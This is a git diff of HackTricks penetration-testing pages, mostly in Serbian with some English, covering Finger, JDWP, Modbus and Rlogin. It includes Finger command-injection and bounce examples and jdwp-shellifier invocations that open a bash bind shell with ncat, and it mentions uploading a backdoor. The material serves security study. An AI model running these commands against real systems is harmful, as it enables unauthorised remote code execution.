```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# 79 - Pentesting Finger
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Osnovne informacije**
Program/servis **Finger** se koristi za dobijanje detalja o korisnicima računara. Tipično, pružene informacije uključuju **korisničko ime, puno ime** i, u nekim slučajevima, dodatne detalje. Ovi dodatni detalji mogu obuhvatati lokaciju kancelarije i broj telefona (ako je dostupan), vreme kada se korisnik prijavio, period neaktivnosti (vreme mirovanja), poslednji put kada je korisnik pročitao poštu, i sadržaj korisnikovih planova i projektnih fajlova.
Program/usluga **Finger** se koristi za dobijanje detalja o korisnicima računara. Obično, informacije koje se pružaju uključuju **korisničko ime, puno ime**, i, u nekim slučajevima, dodatne detalje. Ovi dodatni detalji mogu obuhvatati lokaciju kancelarije i broj telefona (ako su dostupni), vreme kada se korisnik prijavio, period neaktivnosti (idle time), poslednji put kada je korisnik pročitao e-poštu, i sadržaj korisnikovih planova i projektnih fajlova.
**Podrazumevani port:** 79
```
@ -25,41 +26,18 @@ PORT STATE SERVICE
```
## **Enumeracija**
### **Banner Grabbing/Osnovna konekcija**
### **Prikupljanje banera/Osnovna veza**
```bash
nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
```
### **Enumeracija korisnika**
User enumeration (enumeracija korisnika) je proces identifikacije validnih korisničkih imena na ciljnom sistemu. Ova tehnika se često koristi u fazi pripreme za napad, kako bi se prikupile informacije o korisnicima i njihovim nalozima. Enumeracija korisnika može biti korisna za dalje napade kao što su brute force napadi na lozinke ili ciljano usmereni napadi na određene korisnike.
#### **Metode enumeracije korisnika**
Postoji nekoliko metoda koje se mogu koristiti za enumeraciju korisnika:
1. **Finger service (Finger servis)**: Finger servis je protokol koji omogućava korisnicima da dobiju informacije o drugim korisnicima na sistemu. Korišćenjem finger servisa, napadač može dobiti listu korisničkih imena na ciljnom sistemu.
2. **Usernames guessing (Pogađanje korisničkih imena)**: Napadač može pokušati da pogađa korisnička imena na ciljnom sistemu na osnovu uobičajenih obrazaca ili pretpostavki. Na primer, napadač može pokušati sa uobičajenim korisničkim imenima kao što su "admin", "root" ili kombinacijama imena i prezimena.
3. **Email harvesting (Sakupljanje email adresa)**: Napadač može sakupljati email adrese sa ciljnog sistema kako bi identifikovao korisnička imena. Ovo se može postići skeniranjem web stranica, pretraživanjem javnih baza podataka ili korišćenjem drugih tehnika za prikupljanje email adresa.
4. **Social engineering (Socijalno inženjerstvo)**: Napadač može koristiti socijalno inženjerstvo kako bi dobio informacije o korisnicima i njihovim korisničkim imenima. Ovo može uključivati manipulaciju ljudima putem telefonskih poziva, phishing napada ili drugih tehnika manipulacije.
#### **Prevencija enumeracije korisnika**
Da bi se sprečila enumeracija korisnika, preporučuje se preduzimanje sledećih mera:
- Onemogućiti finger servis ili ograničiti pristup samo određenim korisnicima.
- Koristiti jaka i jedinstvena korisnička imena koja su teška za pogoditi.
- Implementirati mehanizme za sprečavanje brute force napada na lozinke.
- Edukovati korisnike o socijalnom inženjerstvu i phishing napadima kako bi bili svesni potencijalnih pretnji.
```bash
finger @<Victim> #List users
finger admin@<Victim> #Get info of user
finger user@<Victim> #Get info of user
```
Alternativno, možete koristiti **finger-user-enum** sa [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), neki primeri:
Alternativno, možete koristiti **finger-user-enum** iz [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), neki primeri:
```bash
finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
@ -75,28 +53,29 @@ use auxiliary/scanner/finger/finger_users
* `port:79 USER`
## Izvršavanje komande
## Izvršavanje komandi
```bash
finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"
```
## Finger Bounce
[Koristite sistem kao preusmerivač prstiju](https://securiteam.com/exploits/2BUQ2RFQ0I/)
[Koristite sistem kao finger relé](https://securiteam.com/exploits/2BUQ2RFQ0I/)
```
finger user@host@victim
finger @internal@external
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,62 +1,63 @@
# Pentestiranje JDWP - Java Debug Wire Protocol
# Pentesting JDWP - Java Debug Wire Protocol
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Eksploatacija
## Exploiting
Eksploatacija JDWP-a se oslanja na **nedostatak autentifikacije i enkripcije protokola**. Obično se nalazi na **portu 8000**, ali mogući su i drugi portovi. Inicijalna veza se uspostavlja slanjem "JDWP-Handshake" na ciljni port. Ako je JDWP servis aktivan, odgovara istim stringom, potvrđujući svoje prisustvo. Ovaj handshake se koristi kao metoda za identifikaciju JDWP servisa u mreži.
JDWP eksploatacija se oslanja na **nedostatak autentifikacije i enkripcije** protokola. Obično se nalazi na **portu 8000**, ali su mogući i drugi portovi. Početna veza se uspostavlja slanjem "JDWP-Handshake" na ciljni port. Ako je JDWP servis aktivan, odgovara istim stringom, potvrđujući svoju prisutnost. Ova rukovanja deluju kao metoda otiska prsta za identifikaciju JDWP servisa na mreži.
Što se tiče identifikacije procesa, pretraga stringa "jdwk" u Java procesima može ukazivati na aktivnu JDWP sesiju.
U smislu identifikacije procesa, pretraga za stringom "jdwk" u Java procesima može ukazivati na aktivnu JDWP sesiju.
Preporučeni alat je [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Možete ga koristiti sa različitim parametrima:
Osnovni alat je [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Možete ga koristiti sa različitim parametrima:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Pronašao sam da korišćenje `--break-on 'java.lang.String.indexOf'` čini eksploataciju više **stabilnom**. Ako imate mogućnost da otpremite zadnja vrata na host i izvršite ih umesto izvršavanja komande, eksploatacija će biti još stabilnija.
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stabilan**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
## Više detalja
## More details
**Ovo je sažetak [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Pogledajte ga za dalje detalje.
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
1. **JDWP pregled**:
- To je mrežni binarni protokol zasnovan na paketima, uglavnom sinhroni.
- Nedostatak autentifikacije i enkripcije čini ga ranjivim kada je izložen neprijateljskim mrežama.
1. **JDWP Overview**:
- It's a packet-based network binary protocol, primarily synchronous.
- Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.
2. **JDWP rukovanje**:
- Koristi se jednostavan proces rukovanja za pokretanje komunikacije. Između debagera (klijenta) i debugera (servera) razmenjuje se ASCII niska od 14 karaktera "JDWP-Handshake".
2. **JDWP Handshake**:
- A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).
3. **JDWP komunikacija**:
- Poruke imaju jednostavnu strukturu sa poljima kao što su Dužina, Id, Zastava i SkupKomandi.
- Vrednosti SkupKomandi se kreću od 0x40 do 0x80, predstavljajući različite akcije i događaje.
3. **JDWP Communication**:
- Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
- CommandSet values range from 0x40 to 0x80, representing different actions and events.
4. **Eksploatacija**:
- JDWP omogućava učitavanje i pozivanje proizvoljnih klasa i bajtkoda, što predstavlja sigurnosne rizike.
- Članak detaljno opisuje proces eksploatacije u pet koraka, uključujući dobijanje referenci Java Runtime-a, postavljanje prekidača i pozivanje metoda.
4. **Exploitation**:
- JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
- The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.
5. **Eksploatacija u stvarnom životu**:
- Uprkos potencijalnoj zaštiti od firewall-a, JDWP usluge su otkrivene i eksploatisane u stvarnim scenarijima, kao što je prikazano pretragama na platformama poput ShodanHQ i GitHub-a.
- Skripta za eksploataciju je testirana na različitim verzijama JDK-a i nezavisna je od platforme, pružajući pouzdanu izvršnu kontrolu na daljinu (RCE).
5. **Real-Life Exploitation**:
- Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
- The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).
6. **Sigurnosne implikacije**:
- Prisustvo otvorenih JDWP usluga na internetu naglašava potrebu za redovnim sigurnosnim pregledima, onemogućavanjem debug funkcionalnosti u produkciji i pravilnom konfiguracijom firewall-a.
6. **Security Implications**:
- The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.
### **Reference:**
### **References:**
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
@ -71,16 +72,17 @@ Pronašao sam da korišćenje `--break-on 'java.lang.String.indexOf'` čini eksp
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
1979. godine, **Modbus protokol** je razvijen od strane Modicon-a, služeći kao struktura za razmenu poruka. Njegova primarna upotreba uključuje olakšavanje komunikacije između inteligentnih uređaja, koji rade po modelu master-slave/klijent-server. Ovaj protokol igra ključnu ulogu u omogućavanju efikasne razmene podataka između uređaja.
Godine 1979. razvijen je **Modbus protokol** od strane Modicon-a, koji služi kao struktura za razmenu poruka. Njegova primarna upotreba uključuje olakšavanje komunikacije između inteligentnih uređaja, koji funkcionišu po modelu master-slave/client-server. Ovaj protokol igra ključnu ulogu u omogućavanju uređajima da efikasno razmenjuju podatke.
**Podrazumevani port:** 502
```
@ -23,61 +24,22 @@ PORT STATE SERVICE
502/tcp open modbus
```
# Enumeracija
## Modbus Scan
Modbus je protokol za komunikaciju između uređaja koji se koristi u industrijskim kontrolnim sistemima. Da biste identifikovali Modbus uređaje na mreži, možete koristiti alat `modscan` koji je deo `modpoll` paketa.
```plaintext
modscan.py -a <IP adresa> -p <port>
```
Ovaj alat će skenirati određenu IP adresu i port kako bi pronašao Modbus uređaje na mreži.
## Modbus TCP Enumeration
Modbus TCP je varijanta Modbus protokola koja koristi TCP/IP za komunikaciju. Da biste izvršili enumeraciju Modbus TCP servisa, možete koristiti alat `nmap` sa odgovarajućim skriptama.
```plaintext
nmap -p 502 --script modbus-discover <IP adresa>
```
Ova komanda će skenirati određenu IP adresu na portu 502 i izvršiti Modbus TCP enumeraciju koristeći `modbus-discover` skriptu.
## Modbus RTU Enumeration
Modbus RTU je varijanta Modbus protokola koja koristi serijsku komunikaciju. Da biste izvršili enumeraciju Modbus RTU servisa, možete koristiti alat `modscan` sa odgovarajućim podešavanjima.
```plaintext
modscan.py -m rtu -b <brzina> -p <port>
```
Ovaj alat će skenirati određeni serijski port sa zadatom brzinom kako bi pronašao Modbus RTU uređaje na mreži.
## Modbus Slave ID Enumeration
Modbus Slave ID je jedinstveni identifikator Modbus uređaja na mreži. Da biste izvršili enumeraciju Modbus Slave ID-ova, možete koristiti alat `modscan` sa odgovarajućim podešavanjima.
```plaintext
modscan.py -a <IP adresa> -p <port> -s <Slave ID>
```
Ovaj alat će skenirati određenu IP adresu i port sa zadatim Slave ID-om kako bi pronašao Modbus uređaje na mreži.
```bash
nmap --script modbus-discover -p 502 <IP>
msf> use auxiliary/scanner/scada/modbusdetect
msf> use auxiliary/scanner/scada/modbus_findunitid
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 513 - Pentesting Rlogin
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -21,19 +22,19 @@ Drugi načini podrške HackTricks-u:
## Osnovne informacije
U prošlosti je **rlogin** bio široko korišćen za zadatke daljinske administracije. Međutim, zbog zabrinutosti u vezi sa njegovom sigurnošću, uglavnom je zamenjen sa **slogin** i **ssh**. Ovi noviji metodi pružaju unapređenu sigurnost za daljinske veze.
